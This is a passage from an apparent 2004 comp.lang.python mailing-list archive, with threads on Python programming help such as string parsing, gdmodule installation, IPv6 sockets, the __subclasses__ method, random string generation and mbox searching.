virtues, and provide a way for you to get back to them with your money.  All
of those selling necessities generate distinctive features.

> I don't believe a small cost will kill all spam;

Neither do I.  The filter I've worked on doesn't aim at reducing spam, just
at shuffling it out of your inbox (at which it's very effective).

> every day I get large amounts of paper adverts, flyers, business cards
> etc etc. These have real cost, but presumably are sufficiently market
> oriented that they pay for themselves.

I'm betting you get flyers from businesses in your geographic area, and
business cards from people you meet.  That's targeted marketing of a simple
sort, but, even so, far beyond the targeting most spam does now.

> Putting a cost on email will just reduce the volume of spam.

Possibly -- most people argue that way.  I don't know.  It's conceivable to
me that the universal adoption of something like SpamBayes may even increase
the volume of spam (if messages you don't want to see are reliably filtered
out of your inbox, and messages you do want to see reliably appear in your
inbox, then the things most people call spam that are ham to you will get
seen by you more effectively than if you first had to wade thru 99.9% of the
stuff you didn't want to see -- and that may actually increase response
rate).

IOW, it's not just cost, and neither just response rate, that feeds into
this.  Net profit is what drives spammers in the end, and that trades off
several kinds of input.  For example, spam volume may even increase if cost
goes up and response rate goes down, if the mix of people who respond can be
nudged toward one willing to pay more for what you're selling.




From __peter__ at web.de  Sun Feb  8 12:00:59 2004
From: __peter__ at web.de (Peter Otten)
Date: Sun, 08 Feb 2004 18:00:59 +0100
Subject: string to integer problem
References: <pan.2004.02.08.16.29.02.415446@lolmc.com>
Message-ID: <c05q0b$mot$07$1@news.t-online.com>

Lol McBride wrote:

> I'm currently having problems with data returned from a MySQL database in
> as much as the data returned is of the form '(1,10,23,33,35,48)' i.e. a
> list variable holding 6 integers returned as a string.
> I can't seem to get around how to return the data to it's original format
> i.e. the list with 6 integers - I have tried slicing the string and

>>> s = '(1,10,23,33,35,48)'
>>> [int(n) for n in s[1:-1].split(",")]
[1, 10, 23, 33, 35, 48]

Peter


From paul at prescod.net  Wed Feb 18 06:44:28 2004
From: paul at prescod.net (Paul Prescod)
Date: Wed, 18 Feb 2004 03:44:28 -0800
Subject: Netscan and Python
In-Reply-To: <c0ohf7$iv0$1@panix2.panix.com>
References: <mailman.35.1076810936.31398.python-list@python.org>
	<c0ohf7$iv0$1@panix2.panix.com>
Message-ID: <4033501C.2050605@prescod.net>

Aahz wrote:

> In article <mailman.35.1076810936.31398.python-list at python.org>,
> Paul Prescod  <paul at prescod.net> wrote:
> 
>>According to Netscan,
>>comp.lang.python was the 19th most popular Usenet newsgroup in 1999
> 
> 
> Based on the rest of the post, I'm assuming you meant to say
> "comp.lang.*" instead of "Usenet".  There's also the question of whether
> popularity is best measured by number of posts -- I'm sure the
> readership of rec.humor.funny still far outweighs comp.lang.python.

True. But as you surmised, rec.humor.funny is not in the domain of 
newsgroups that interest me for this discussion. It seems logical to me 
that popularity would follow number of readers and that number of posts 
would tend to follow number of readers. The relationship is certainly 
not direct: the more mainstream a language is (e.g. C++) the less likely 
one is to use a newsgroup as a support channel for it. Also, in the case 
of Ruby, cultural issues may be relevant. Perhaps some Japanese mailing 
list is booming.

  Paul Prescod





From r__hughes at hotmail.com  Mon Feb 16 13:46:28 2004
From: r__hughes at hotmail.com (R. Hughes)
Date: Mon, 16 Feb 2004 13:46:28 -0500
Subject: Installation problem on Windows 98
References: <c93e5fda.0402160226.6889923b@posting.google.com>
Message-ID: <c0r360$15p$1@news.eusc.inter.net>

No problems here on two W98 platforms using Python
versions 2.3.2 and 2.3.3 from www.python.org.
Suggest you try to reinstall then if you still have problems
try downloading  the W98 installer for 2.3.3 again

Good Luck.

"Kent Tong" <kent at cpttm.org.mo> wrote in message
news:c93e5fda.0402160226.6889923b at posting.google.com...
> Hi all,
>
> I've installed Python 2.3 using the Windows installer
> downloaded from www.python.org. I'm using Win98. The
> installation process went well without any problem.
> However, double-clicking the "IDLE (Python GUI)" does
> nothing. The cursor changes to a hour-glass for about
> 1 second and then nothing happens. The "Python (command
> line)" works.
>
> Any help? Thanks!




From donn at drizzle.com  Tue Feb  3 01:58:45 2004
From: donn at drizzle.com (Donn Cave)
Date: Tue, 03 Feb 2004 06:58:45 -0000
Subject: Finding messages in huge mboxes
References: <401eb54c$0$315$e4fe514c@news.xs4all.nl>
	<donn-59CB8D.13433002022004@nntp4.u.washington.edu>
	<qnkhdy8dimh.fsf@arbutus.physics.mcmaster.ca>
Message-ID: <1075791523.818512@yasure>

Quoth cookedm+news at physics.mcmaster.ca (David M. Cooke):
| At some point, Donn Cave <donn at u.washington.edu> wrote:
|> In article <401eb54c$0$315$e4fe514c at news.xs4all.nl>,
|>  Bastiaan Welmers <haasje at welmers.net> wrote:
|> ...
|>> I need find messages in huge mbox files (50MB or more).
|> ...
|>> Especially because I often need messages at the end
|>> of the MBOX file.
|>> So I tried the following (scanning messages backwards
|>> on found "From " lines with readline())
|>
|> readline() is not your friend here.  I suggest that
|> you read large blocks of data, like 8192 bytes for
|> example, and search them iteratively.  Like,
|> next = block.find('\nFrom ', prev + 1)
|
| Unless, of course, you read '\nFr', then 'om ' in the next block...
|
| I can't think of a simple way around this (except for reading by
| lines). Concating the last two together means having to keep track of
| what you've seen in the last block. Maybe picking off the last line
| from the last block (using line.rfind('\n')), and concatenating that
| to the beginning of the next.

I'm reading from the end backwards, so the fragment is block[:start].
Append that to the block before it, and each block always will end at
a message boundary.  If you start in the middle, you have to deal with
an extra boundary problem.  If reading forward from the beginning, it
would be about as simple.

If I have overlooked some obvious problem with this, it wouldn't be
the first time, but I think it's as simple as it could be.  The only
inelegance to it is that you have to scan the fragment at least twice
(one extra time for each time it's added to a new block.)

	Donn Cave, donn at drizzle.com


From jdhunter at ace.bsd.uchicago.edu  Mon Feb  2 18:24:21 2004
From: jdhunter at ace.bsd.uchicago.edu (John Hunter)
Date: Mon, 02 Feb 2004 17:24:21 -0600
Subject: GD/gdmodule on Win XP
In-Reply-To: <3b3f63ed.0402021435.1937f119@posting.google.com>
	(eelgueta@navix.cl's message of "2 Feb 2004 14:35:45 -0800")
References: <3b3f63ed.0402021435.1937f119@posting.google.com>
Message-ID: <m24qu95al6.fsf@mother.paradise.lost>

>>>>> "Eduardo" == Eduardo Elgueta <eelgueta at navix.cl> writes:

    Eduardo> Hi All, I'm trying to setup matplotlib
    Eduardo> (http://matplotlib.sourceforge.net/) in a Win XP box.

gdmodule is difficult to install on windows (as you've discovered).
Fortunately, Stefan Kuzminski figured this out and built a statically
linked gd module - no need to download gd lib or freetype, etc.  Here
are the compile notes he posted to the matplotlib-users mailing list

  http://sourceforge.net/mailarchive/message.php?msg_id=7064914

and here is a link to the dll; just put this in your site-packages dir.

  http://matplotlib.sourceforge.net/gd/_gd.dll

You will also need to place gd.py from the gdmodule-0.51 distro in
site-packages.   After that you should be able to do

  > python
  >>> import gd

IMPORTANT - I've been doing a lot of development on the gd backend of
late and the latest version of matplotlib requires a patched version
of gdmodule (which will become included in the standard gdmodule at
the next release).  So the DLL linked above *will not* work with
matplotlib-0.50.  Thus you will need to either:
   
   * downgrade to matplotlib-0.42.2 -
     http://sourceforge.net/project/showfiles.php?group_id=80706

   * build the patched gdmodule using
     http://matplotlib.sourceforge.net/gd/_gdmodule.c.  If you do
     this, you can take advantage of the improvements made in the gd
     backend subsequent to 0.42.2.  Please mail me a copy of the DLL
     if you succeed with any compile notes.

Of course you still need to the prerequisites described on
http://matplotlib.sourceforge.net/backends.html#GD, but gdmodule is
definitely the tough nut to crack on win32.

I haven't built fonttools for win32 in some time, so if someone else
can pipe in and share their insights I'd be happy.  I found the TTX
installer on the sourceforge site, but this doesn't seem to provide
the python fontools package.

With the prereqs installed, you can test your setup with

  import matplotlib
  matplotlib.use('GD')
  from matplotlib.matlab import *
  plot([1,2,3])
  savefig('gdtest')

Good luck!
John Hunter



From guettli at thomas-guettler.de  Thu Feb 26 07:39:10 2004
From: guettli at thomas-guettler.de (Thomas Guettler)
Date: Thu, 26 Feb 2004 13:39:10 +0100
Subject: Linenumbers of traceback wrong
Message-ID: <pan.2004.02.26.12.39.06.770676@thomas-guettler.de>

Hi,

Sometimes the linenumbers of a traceback are wrong.

See this traceback. I don't use any attribute "key" here.
The method search_dict does not use this attribute, too.

Traceback (most recent call last):
  File "/mnt/raid/modarch/workflow/python/lib/python2.3/site-packages/quixote/publish.py", line 553, in publish
    output = self.process_request(request, env)
  File "/mnt/raid/modarch/workflow/python/lib/python2.3/site-packages/quixote/publish.py", line 535, in process_requ
    output = self.try_publish(request, env.get('PATH_INFO', ''))
  File "/mnt/raid/modarch/workflow/lib/ZEOClientPublisher.py", line 198, in try_publish
    return Publisher.try_publish(self, request, path)
  File "/mnt/raid/modarch/workflow/python/lib/python2.3/site-packages/quixote/publish.py", line 483, in try_publish
    output = object(request)
  File "/mnt/raid/modarch/workflow/lib/WorkflowServer.py", line 726, in search
    buchungsdatum_bis))
  File "/mnt/raid/modarch/workflow/lib/SearchCatalog.py", line 302, in search_dict
    ids_dict.update(this_ids_dict)
AttributeError: keys

Python 2.3.2 (#1, Nov 20 2003, 12:57:28)
[GCC 2.95.3 20010315 (SuSE)] on linux2


"keys" get used here:

    def search(self, attr, value, maxvalue=None):
        result_dict=self.search_dict(attr, value, maxvalue)
        return result_dict.keys()

ids_dict was created with "ids_dict={}"

Any hints?

  Thomas


From john.burton at jbmail.com  Wed Feb 18 03:45:39 2004
From: john.burton at jbmail.com (John Burton)
Date: Wed, 18 Feb 2004 08:45:39 +0000
Subject: IPv6 question
In-Reply-To: <c0u1pm$lt4$05$1@news.t-online.com>
References: <9r14g1-1vu.ln1@neon.jbmail.com> <uh24g1-40v.ln1@neon.jbmail.com>
	<c0oc6j$592$01$1@news.t-online.com>
	<hjq4g1-1c1.ln1@neon.jbmail.com>
	<c0oiqv$knm$00$1@news.t-online.com>
	<t6n7g1-oj4.ln1@neon.jbmail.com> <gu465e5lb9v.fsf@ee.oulu.fi>
	<c0u1pm$lt4$05$1@news.t-online.com>
Message-ID: <tclbg1-c08.ln1@neon.jbmail.com>

Martin v. L?wis wrote:
> Erno Kuusela wrote:
> 
>> you can control this using the IPV6_V6ONLY socket option, like so:
>>
>>   s.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 0)
>>
>> unfortunately python 2.3.3 doesn't yet make that constant available
>> though it is fixed in cvs. you could glean the value from the headers.
>>
>> the default setting has been in flux on various platforms recently,
>> all the more reason to want to always set it explicitly...
> 
> 
> I think the OP would prefer to have a single socket for both protocol
> types, in which case he should set it to 1 on windows, right?

Well it's not idea that different platforms work differently here 
although it's easy enough to work around that. I'll try the setsockopt 
and see if I can use that.
Thanks for the replies everyone.


From ruud.de.jong at consunet.nl  Sat Feb 28 05:50:01 2004
From: ruud.de.jong at consunet.nl (Ruud de Jong)
Date: Sat, 28 Feb 2004 11:50:01 +0100
Subject: What is the status of the __subclasses__ method?
In-Reply-To: <m3hdxc8smn.fsf@pc150.maths.bris.ac.uk>
References: <403f5959$0$41759$5fc3050@dreader2.news.tiscali.nl>
	<m3hdxc8smn.fsf@pc150.maths.bris.ac.uk>
Message-ID: <404071cf$0$41754$5fc3050@dreader2.news.tiscali.nl>

Michael Hudson schreef:

> Ruud de Jong <ruud.de.jong at consunet.nl> writes:
> 
> 
>>The question I have is: how safe / future proof / portable is the
>>use of the __subclasses__ method that exists for new-style classes?
> 
> 
> Hmm.  I think it's unlikely to go away.
> 
> 
>>When I searched python.org for "__subclasses__" I found
>>some more information. The __subclasses__ method appears
>>to exist to allow modifications of the superclass to be
>>percolated down to its children, mainly for speed reasons,
>>if I understand Tim Peter's explanation correctly
>>(http://mail.python.org/pipermail/python-list/2003-August/176360.html). 
> 
> 
> Yep.

What I wanted to avoid is that I would rely on something that is
not part of the Python *language*, but rather of a Python
*implementation*. But then, the distinction between these two
is not always clear -- if a construct is present in every
implementation, what is the difference with it being a part
of the language?

Well, raising the question is answering it -- as long as a
construct is not officially part of the language, that construct
can in principle change or disappear if the language maintainers
find that necessary.


>>I also found several warnings that the __subclasses__ method only
>>returns classes that have been accessed previously (which would
>>defeat my purpose)
> 
> 
> Hum, you're being overly paranoid here.  Python defined types are
> PyType_Ready-ed as soon as they are created.
> 

Well, I guess that such cautious behavior has become sort of
second nature for me -- a consequence of having worked some
twenty years on a huge software system (think multi-million lines
of C code), with thousands of colleagues adding, deleting and
modifying code simultaneously. In spite of strict processes and
procedures, too often somebody would make themselves dependent on
some construct in another part of the system that was never
meant for public usage. And when that construct was modified
to add e.g. new functionality or for performance improvement,
all hell would break loose -- because it would break the
functionality that "illegally" used the construct (and that
had been working fine for the customers)

With this conditioning I tend to be *very* careful about
using undocumented features, like __subclasses__.

Anyway, if I understand you correctly, as long as the subclasses
are implemented in Python, they will be known to their parent
immediately. And from your other remarks I get the
impression that the __subclasses__ method is a rather permanent
feature in every Python implementation.

> 
>>So again, my question. Is it safe to use the __subclasses__
>>method for the purpose I described above? 
> 
> 
> Well, I can't see into the future, but I'd feel secure using it.
> 
> I'm not sure what you describe is a very tasteful use of it though...
> 
Well, not being a native english speaker, I don't quite know how to
interpret this latter remark. Please elaborate. Are you objecting
to the use of the __subclasses__ method? Or to the general mechanism
I described? Or maybe I really am paranoid, and I am reading things
that aren't there :-)

Here is the essence of the use of __subclasses__ in the application
I referred to. Note that is a variant of the Chain-of-Responsibility
pattern, applied to the Factory Method. I know that I abused the
NotImplementedError -- in the actual application it is a custom-
defined exception. But for illustration purposes I wanted to avoid
such non-essential details.

 >>> class Event(object):
	def __new__(cls, line):
		for subclass in cls.__subclasses__():
			try:
				return subclass.__new__(subclass, line)
			except NotImplementedError:
				continue
		raise NotImplementedError

	
 >>> class MsgEvent(Event):
	pass

 >>> class IncomingMsgEvent(MsgEvent):
	def __new__(cls, line):
		if line.startswith('RCV:'):
			return object.__new__(cls)
		raise NotImplementedError

	
 >>> class OutgoingMsgEvent(MsgEvent):
	def __new__(cls, line):
		if line.startswith('SND:'):
			return object.__new__(cls)
		raise NotImplementedError

	
 >>> x = Event('RCV: blah blah')
 >>> x
<__main__.IncomingMsgEvent object at 0x00AD2D30>
 >>>

The thing to note is that I can add subclasses at will, and
never have to revisit the Event root class. This means better
maintainability and extensibility.

> 
>>Or would it be safer to revert to my home-grown metaclass solution?
> 
> 
> You might want to keep it around, I guess...
> 
I will. I joins my collection of APL one-liners and my FORTRAN V
preprocessor :-)

Regards,

Ruud de Jong



From sross at connectmail.carleton.ca  Thu Feb 19 17:28:07 2004
From: sross at connectmail.carleton.ca (Sean Ross)
Date: Thu, 19 Feb 2004 17:28:07 -0500
Subject: Generating a large random string
References: <4034D506.2E37519A@netsurf.de>
Message-ID: <KLaZb.7624$Cd6.689008@news20.bellglobal.com>

"Andreas Lobinger" <andreas.lobinger at netsurf.de> wrote in message
news:4034D506.2E37519A at netsurf.de...
[snip]
> How to generate (memory and time)-efficient a string containing
> random characters? I have never worked with generators, so my solution
> at the moment is:
>
> import string
> import random
> random.seed(14)
> d = [random.choice(string.letters) for x in xrange(3000)]
> s = "".join(d)
> print s
>
> which is feasible for the 3000, but i need lengths in the range
> 10.000 to 1.000.000.
[snip]

There are several things to try, but here's one attempt that's
relatively fast but whose time (and size) still grow linearly
with the size of n:


from string import letters
from random import choice, sample, seed

# Note: should probably use timeit.py but this will do ...
from time import clock as now

n = 1000000

# your approach
seed(14)
start = now()
s = ''.join([choice(letters) for i in xrange(n)])
took = now() - start
print "old way n: %d took: %2.2fs"%(n, took)

# different approach
seed(14)
# add 1 so population > sample size (n)
factor = n/len(letters) + 1
start = now()
s = ''.join(sample(letters*factor, n))
took = now() - start
print "new way n: %d took: %2.2fs"%(n, took)


# Output: tested on Windows 98 500+mhz 128MB
old way n: 1000000 took: 23.94s
new way n: 1000000 took: 8.90s

There's a start ...

Sean




From troy at morpheus.net  Fri Feb 27 13:55:52 2004
From: troy at morpheus.net (Troy)
Date: 27 Feb 2004 10:55:52 -0800
Subject: mx.DateTime formatting, need milliseconds
Message-ID: <b579fd42.0402271055.534ec9e3@posting.google.com>

Hi-

I'm running Python 2.3 on Windows so I am using the mx.DateTime
package to parse timestamps from a log.

The timestamps are formatted like so:
2004-02-24 15:42:03,707

When I use the default formats for the getDateTimeFromString()
function, I lose the milliseconds.  I can't find documentation
anywhere about how to write a format string for mx.DateTime so I can't
write my own format string.

I really need that data.  Thanks!

Troy


From mcfletch at rogers.com  Tue Feb 24 16:03:33 2004
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Tue, 24 Feb 2004 16:03:33 -0500
Subject: Sharing accomodation @ PyCon?
Message-ID: <403BBC25.40808@rogers.com>

I'm still looking for someone with whom to share a room at PyCon.  I'd 
prefer the Best Western in Arlington (1 subway stop from PyCon).  I'd 
like to book or confirm sharing someone else's booking within the next 
few days.

Contact me off-list if interested, please,
Mike

_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/





From drconrad at metaplay.com.au  Fri Feb  6 03:17:41 2004
From: drconrad at metaplay.com.au (Simon Wittber)
Date: Fri, 6 Feb 2004 16:17:41 +0800
Subject: hide sourcecode
In-Reply-To: <84fc4588.0402052351.5fc254ae@posting.google.com>
Message-ID: <005a01c3ec89$b10eaeb0$0000fea9@simonxp>

Anand wrote:
>Python is an 'open source' language so I advise you to share your
source code with us :-)

Python is open-source, true. However that does not mean programs written
in Python must be open-sourced. Maybe I am having a bad day, but I read
your comment as a mob/peer pressure tactic, and felt compelled to post
this correction.


Sw.




From na  Sun Feb  8 18:12:33 2004
From: na (ADE)
Date: Sun, 8 Feb 2004 15:12:33 -0800
Subject: How to open files
Message-ID: <102dgnqrlu47l60@corp.supernews.com>

Hi I have a Tkinter GUI with a listbox that displays a list of files I would
like to be able to open those files when I double click on them in there
default program that opens the files usually

Thanks in advance Cheers


Andrew






From theller at python.net  Fri Feb  6 13:02:22 2004
From: theller at python.net (Thomas Heller)
Date: Fri, 06 Feb 2004 19:02:22 +0100
Subject: OT: Recommended news reader?
References: <4f0a9fdb.0402031309.fde7220@posting.google.com>
	<m3y8rhbenz.fsf@tanelorn.bandersnatch.org>
	<y8rh9zfx.fsf@python.net> <Xns9486E9AD26AFEJanC@213.119.4.35>
	<isik8w50.fsf@python.net> <c00ho4$inl$1@news.service.uci.edu>
Message-ID: <y8rg5bo1.fsf@python.net>

Josiah Carlson <jcarlson at nospam.uci.edu> writes:

>> No, I need imap as well as nntp.
>
> Mozilla Thunderbird has both nntp and imap.  Have you tried it?

Yes, but it doesn't allow to configure the From: address depending on
the group I'm currently in - or did I miss this?  That was the original question.

Thomas


From peter at engcorp.com  Wed Feb 18 11:45:41 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 18 Feb 2004 11:45:41 -0500
Subject: IP list generation
References: <mailman.93.1077065872.31398.python-list@python.org>
	<7x8yj1yykn.fsf@ruckus.brouhaha.com>
Message-ID: <403396B5.D94A4C8A@engcorp.com>

Paul Rubin wrote:
> 
> Stephen Briley <sdb1031 at yahoo.com> writes:
> > By in between I mean increment the first ip address by
> > 1 until the end ip address is reached.  For example,
> > a range of 10.0.0.1 - 10.0.0.5 would print:
> > 10.0.0.2
> > 10.0.0.3
> > 10.0.0.4
> 
> You're not a spammer looking for open SMTP relays or something like
> that, are you?  You're beginning to sound like one.

If he is, we should perhaps be honest with him and let him know that
this is well beyond Python's rather limited capabilities.  There are
other languages much better suited to sophisticated networking applications
that require incrementing through a range of "ip addresses".  

LabVIEW, for example, or perhaps PL/SQL...

-Peter


From godoy at ieee.org  Sun Feb 22 20:09:28 2004
From: godoy at ieee.org (Jorge Godoy)
Date: Sun, 22 Feb 2004 22:09:28 -0300
Subject: Help With  EOF character: URGENT
References: <mailman.178.1077495669.27104.python-list@python.org>
Message-ID: <8f0og1-vgg.ln1@wintermute.g2ctech>

On Sunday 22 February 2004 21:21, Eric @ Zomething wrote:

> Dont, I think you want to iterate over your file, rather than look for an
> EOF marker, unless you have a technical reason not to.
> 
> I'll leave it to someone else to provide a better solution, but here is a
> Q&D newbie approach to a text file break-out of words:
> 
>>>> fileOne=open('C:\\testfile.txt')
>>>> fileString=fileOne.read()
>>>> print fileString
> Hello there I am doing fine
> How are you?
>>>> wordString=fileString.replace('\n',' ')
>>>> print wordString
> Hello there I am doing fine How are you?
>>>> wordList=wordString.split(' ')
>>>> print wordList
> ['Hello', 'there', 'I', 'am', 'doing', 'fine', 'How', 'are', 'you?', '']

It works fine for small files... If it gets a "little" bigger it will start
using too much RAM. Maybe using a loop with readline() instead of reading
it all into memory is a better choice. 

I would complement my previous post with advice for him not to count os
specific codes for each and every file since such codes can change from OS
to OS, but it seemed that it was something in a controlled environment...
Anyway, it would be better to use "\n", "\r", etc. instead of their octal
codes.


Be seeing you,
-- 
Godoy.      <godoy at ieee.org>


From tim.one at comcast.net  Tue Feb 24 22:34:02 2004
From: tim.one at comcast.net (Tim Peters)
Date: Tue, 24 Feb 2004 22:34:02 -0500
Subject: python 2.3.2 hangs when returning an int
In-Reply-To: <oKT_b.3450$Xv2.1632@nwrddc03.gnilink.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCIEOPJBAB.tim.one@comcast.net>

[omission9]
> Thanks to all who responded.  This took me forever to replicate and is
> not that easy to demonstrate outside of my fairly complex application.
> Basically, I feel that this is the fault of the Python garbage
> collector.

Why?

> What was happening was that in one function I locally defined a class
> which extended wxGrid.  In another function, which was called by the
> first one mentioned, I instantiated another instance, local to the
> function, of that class.  It seems that even though the wxGrid class
> used in the calling function was only used after the function call
> some stray references or something to the other instance were still
> drifting around in the interpreter which were causing some bizarro
> problems like the one in my original post.

Somehow that just doesn't seem to explain everything -- or, indeed, anything
<wink>.

> By eliminating the instance in the function that was being called I
> eliminated the problem. BIZARRE!! What made this so awful was that it
> took many many iterations of these functions to generate the error. I
> have no idea why it didn't blow the first, say, hundred times through.

Do you have any real idea why it did blow eventually?

> Maybe if I ever get the motivation I'll attach a C debugger to the
> whole thing and look deeper into the guts.

That sounds inevitable, alas.  You changed something that appeared to make
your immediate problem go away, but you left it there without pushing on to
an understanding of the true cause.  Such bugs always return, IME.

it's-more-a-matter-of-work-than-of-desire-ly y'rs  - tim




From jepler at unpythonic.net  Mon Feb 16 08:04:39 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Mon, 16 Feb 2004 07:04:39 -0600
Subject: Pick out ip-address
In-Reply-To: <4030B54A.9010806@eva.mpg.de>
References: <4030B54A.9010806@eva.mpg.de>
Message-ID: <20040216130439.GA5895@unpythonic.net>

On Mon, Feb 16, 2004 at 01:19:22PM +0100, Alexander F?disch wrote:
> 13	cmd=os.popen('LANG=""/sbin/ifconfig'+interface)

This line seems suspect.  The resulting string passed to popen will be
along the lines of
    LANG=""/sbin/ifconfigippp0
try running this at the prompt and you'll get nothing. (Well, actually,
the value of LANG will be set to a new value:
    $ echo $LANG
    /sbin/ifconfigippp0

When I write Python code that assembles strings, I'm much more likely to
use %-formatting than use + for concatenation:
    cmd = os.popen('LANG="" /sbin/ifconfig %s' % (interface,))
etc

best of luck,
Jeff



From bblochl at fh-lausitz.de  Thu Feb 26 07:05:59 2004
From: bblochl at fh-lausitz.de (bblochl)
Date: Thu, 26 Feb 2004 13:05:59 +0100
Subject: No Thoughts about Everything
Message-ID: <403DE127.8090506@fh-lausitz.de>

Richie Hindle schrieb:

>[Bernhard]
>  
>
>>I found a solution for the simulation of access modifier "static final " 
>>in python:
>>
>>class Mytest:
>>    LOGE_10=(2.302585092994046,)
>>    #Klassenkonstante (static final) use a tuple :-)
>>    #def __init__(self):
>>        
>>    def log10(self,x):
>>        return(log(x)/LOGE_10[0])
>>    
>>
>
>*Please* don't start teaching that to Python beginners! <0.5 wink>
>
>Apart from the horrible confusion it would cause, it doesn't even work:
>
>  
>
>>>>Mytest.LOGE_10=(2.0,)  # Near enough for engineers
>>>>        
>>>>
>
>Next you'll be asking for a preprocessor so that you can say:
>
>#define LOGE_10 Mytest.LOGE_10[0]
>
>8-)
>
>  
>

Thanks, I will bear in mind your warning! I will try not to push off 
persons from the programming wagon.
But:
Better to light a candle than to curse the darkness.
# Ancient Chinese Proverb

Mytest.LOGE_10=(2.0,) mmmh - is working as it is not working, :-)

Cheers,
Bernhard





From noemail at noemail4u.com  Wed Feb  4 08:51:43 2004
From: noemail at noemail4u.com (Dang Griffith)
Date: Wed, 04 Feb 2004 13:51:43 GMT
Subject: search between 2 files
References: <bvqoea$pjj$1@nsnmrro2-gest.nuria.telefonica-data.net>
Message-ID: <35f5b323e111af9df45b6ce2faf9c80f@news.teranews.com>

On Wed, 04 Feb 2004 13:26:47 +0100, Jos? <jmcalvar at telecable.es>
wrote:

>I'm newby in Python, and I'm working on a script to manage files.
>I have two files, one with a list of domains, and the other with a new 
>list of domains. I'd like to know if I have a repeated domain in the 
>new's one. I tried opening with readline(), with readlines(), but truly 
>I have no idea to countinue.

You said you wanted to know if you have a repeated domain in the new
one.  I am assuming you mean you want to know if there are any domains
in the new list that are not in the old.  If you just want to
eliminate duplicates from the new list, independently of the first
list, please clarify.

import sets

old_domains = sets.Set()
for domain in file("olddomains.txt"):
    old_domains.add(domain.strip())

new_domains = sets.Set()
for domain in file("newdomains.txt"):
    new_domains.add(domain.strip())

if new_domains == old_domains:
    print "There are no new domains."
else:
    print "The following domains are new:"
    print new_domains - old_domains

--dang
p.s.
Or if you like list comprehensions:

import sets

old_domains = sets.Set()
[old_domains.add(domain.strip()) for domain in file("olddomains.txt")]

new_domains = sets.Set()
[new_domains.add(domain.strip()) for domain in file("newdomains.txt")]

if new_domains == old_domains:
    print "There are no new domains."
else:
    print "The following domains are new:"
    print new_domains - old_domains



From bokr at oz.net  Thu Feb 12 14:39:19 2004
From: bokr at oz.net (Bengt Richter)
Date: 12 Feb 2004 19:39:19 GMT
Subject: software design question
References: <c02ku4$8e0$1@news.rz.uni-karlsruhe.de>
	<c03ebl$av7$1@news.service.uci.edu>
	<c03g1u$mtu$1@news.rz.uni-karlsruhe.de>
	<L5cVb.14719$ZN1.775584@news20.bellglobal.com>
	<c03rii$c2t$1@news.rz.uni-karlsruhe.de>
	<6ee58e07.0402080823.75df2850@posting.google.com>
	<95aa1afa.0402102316.60fb3c22@posting.google.com>
	<c0cmqg$3c8$1@news.service.uci.edu>
Message-ID: <c0gkp7$sm$0@216.39.172.122>

On Tue, 10 Feb 2004 23:47:12 -0800, Josiah Carlson <jcarlson at nospam.uci.edu> wrote:

>> Moreover, I feel much easier to edit simultaneously 
>> three or four buffers than to navigate back and forth on a very long single 
>> buffer.
>
>Depending on the features of your editor, going to different locations 
>in the current buffer (even offset by many lines) can be arbitrarily 
>trivial.  When you have a source tree, you are a double-click away from 
>any class/function/method (or even properly-formed comments, depending 
>on the editor support).  For those cases when keyboards shortcuts are 
>convenient, some editors have per-line bookmarks that allow you to hop 
>to often-used code portions very quickly.
>
>I'm sure all of this can be done with Emacs (perhaps even Vim), if you 
>know how to do it.
>
>
>> P.S. once I computed the average lenght of modules in the standard library.
>> The result was something like 200 lines.
>
>Sounds like a histogram is in order.  Maybe I'll do it this weekend when 
>I have the time.
>
A quick data point:

 >>> import os
 >>> wc = os.popen(r'wc D:\Python23\Lib\*py').readlines()
 >>> sum([int(x.split()[0]) for x in wc[:-1] if x])/float(len(wc)-1)
 412.61621621621623
 >>> print wc[-1]
       76334     250898    2657018       Totals

Gotta go...

Regards,
Bengt Richter


From aahz at pythoncraft.com  Thu Feb  5 08:49:55 2004
From: aahz at pythoncraft.com (Aahz)
Date: 5 Feb 2004 08:49:55 -0500
Subject: Any problems with *lots* of attributes?
References: <246a4e07.0402040703.2be902a9@posting.google.com>
	<bvrgdn$t76$1@panix1.panix.com>
	<246a4e07.0402042327.5192034a@posting.google.com>
Message-ID: <bvthm3$nt1$1@panix2.panix.com>

In article <246a4e07.0402042327.5192034a at posting.google.com>,
Frank Millman <frank at chagford.com> wrote:
>Aahz <aahz at pythoncraft.com> wrote:
>> 
>> OTOH, there's certainly nothing wrong with using dicts; they are the
>> single most fundamental Python data type after strings.  (All Python
>> name/attribute access is built on top of dicts.)
>
>This is exactly my point, but I may be misunderstanding how it works
>internally. If I have a class with 20 attributes, it will have a
>dictionary with 20 entries. If I have hundreds of instances of the
>class, do I end up with hundreds of dictionaries (or the equivalent
>internal structures), and if so, does this not lead to memory bloat?
>If I store the data in a list, there will only be one dictionary entry
>per instance. On the other hand, I suppose there must be some reference
>to each of the elements of each list, so maybe there is an equivalent
>overhead. Is this a valid concern, or am I worrying about nothing?

You're mostly worrying about nothing; your analysis is essentially
correct.

>    def getval_from_list(self):
>        start = time()
>        for i in xrange(1000000):
>            aa = self.l[0]
>        return (time() - start)

Try this instead:

    def getval_from_list(self):
        l = self.l
        start = time()
        for i in xrange(1000000):
            aa = l[0]
        return (time() - start)

Your original code pays the penalty for *both* dict/attribute lookup and
list lookup.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"The joy of coding Python should be in seeing short, concise, readable
classes that express a lot of action in a small amount of clear code -- 
not in reams of trivial code that bores the reader to death."  --GvR


From ruud.de.jong at consunet.nl  Fri Feb 27 09:53:20 2004
From: ruud.de.jong at consunet.nl (Ruud de Jong)
Date: Fri, 27 Feb 2004 15:53:20 +0100
Subject: What is the status of the __subclasses__ method?
Message-ID: <403f5959$0$41759$5fc3050@dreader2.news.tiscali.nl>

The question I have is: how safe / future proof / portable is the
use of the __subclasses__ method that exists for new-style classes?

Background: I thought I had found an easy-to-understand
application for metaclasses: making classes instantly aware
of their subclasses. The context was that I needed a class
hierarchy, and I wanted to be able to instantiate subclasses
by calling the root class. Which exact subclass would be
instantiated would depend on the arguments with which the root
class would be called. In effect using the root class as a factory.

I did not want to build the logic of argument-to-subclass
mapping in the root class. Instead I wanted the root class
to pass the argument (recursively) to its subclasses, and if
a subclass would accept the argument then an object instantiation
of that subclass would be returned. To do this, each class
